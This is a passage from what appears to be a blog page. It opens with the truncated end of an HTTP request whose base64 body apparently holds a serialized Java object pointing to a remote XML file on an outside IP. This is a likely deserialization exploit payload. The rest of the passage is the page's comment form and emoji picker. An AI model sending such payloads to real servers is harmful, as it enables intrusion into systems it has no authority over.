eHEAfgBSeHNxAH4AQ3NxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AVXhwcHNxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHh0AB9odHRwOi8vMTEyLjEyNC41OS4yMTMvc2N4bTIueG1scHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg= HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 112.124.59.213:8000
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇